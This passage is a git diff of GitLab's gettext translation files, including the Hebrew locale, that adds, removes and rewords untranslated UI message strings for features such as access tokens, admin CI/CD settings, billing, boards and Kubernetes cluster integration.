msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/he_IL/gitlab.po b/locale/he_IL/gitlab.po
index 5b402436b72..2739166b2a1 100644
--- a/locale/he_IL/gitlab.po
+++ b/locale/he_IL/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: he\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:39\n"
+"PO-Revision-Date: 2021-07-01 21:23\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -93,6 +90,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -341,13 +341,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -547,6 +540,30 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -594,6 +611,13 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -788,10 +812,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -963,6 +987,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -996,9 +1023,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1115,12 +1139,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1151,6 +1169,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1690,9 +1711,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1753,18 +1771,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1969,13 +1978,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1993,16 +2002,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -2122,6 +2131,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -2131,6 +2143,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -2194,6 +2209,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2320,6 +2338,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2554,9 +2575,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2569,19 +2587,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2593,7 +2614,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2602,10 +2623,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -3016,9 +3034,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3239,12 +3269,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3371,9 +3407,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3440,6 +3473,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3599,9 +3635,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3674,9 +3707,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3728,6 +3758,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3818,6 +3851,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3974,9 +4010,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4253,9 +4286,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4353,15 +4383,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4751,9 +4775,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4944,9 +4965,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5334,6 +5352,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5480,6 +5501,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5541,6 +5565,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5571,6 +5598,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5793,6 +5823,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5961,6 +5994,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -6010,10 +6046,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -6058,6 +6094,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6181,9 +6220,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6289,15 +6325,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6574,6 +6610,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6676,9 +6715,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6706,6 +6742,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -7135,9 +7174,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7147,24 +7183,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -7198,15 +7222,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7219,9 +7234,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7243,9 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7264,15 +7273,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7294,9 +7294,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7309,15 +7306,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7339,15 +7333,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7396,12 +7381,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7417,9 +7396,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7435,9 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7480,27 +7453,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7528,9 +7486,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7540,18 +7495,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7573,39 +7516,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7639,9 +7552,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7690,12 +7600,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7738,9 +7642,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7750,15 +7651,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7795,24 +7687,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7825,9 +7699,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7876,15 +7747,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7909,9 +7774,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7930,27 +7792,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
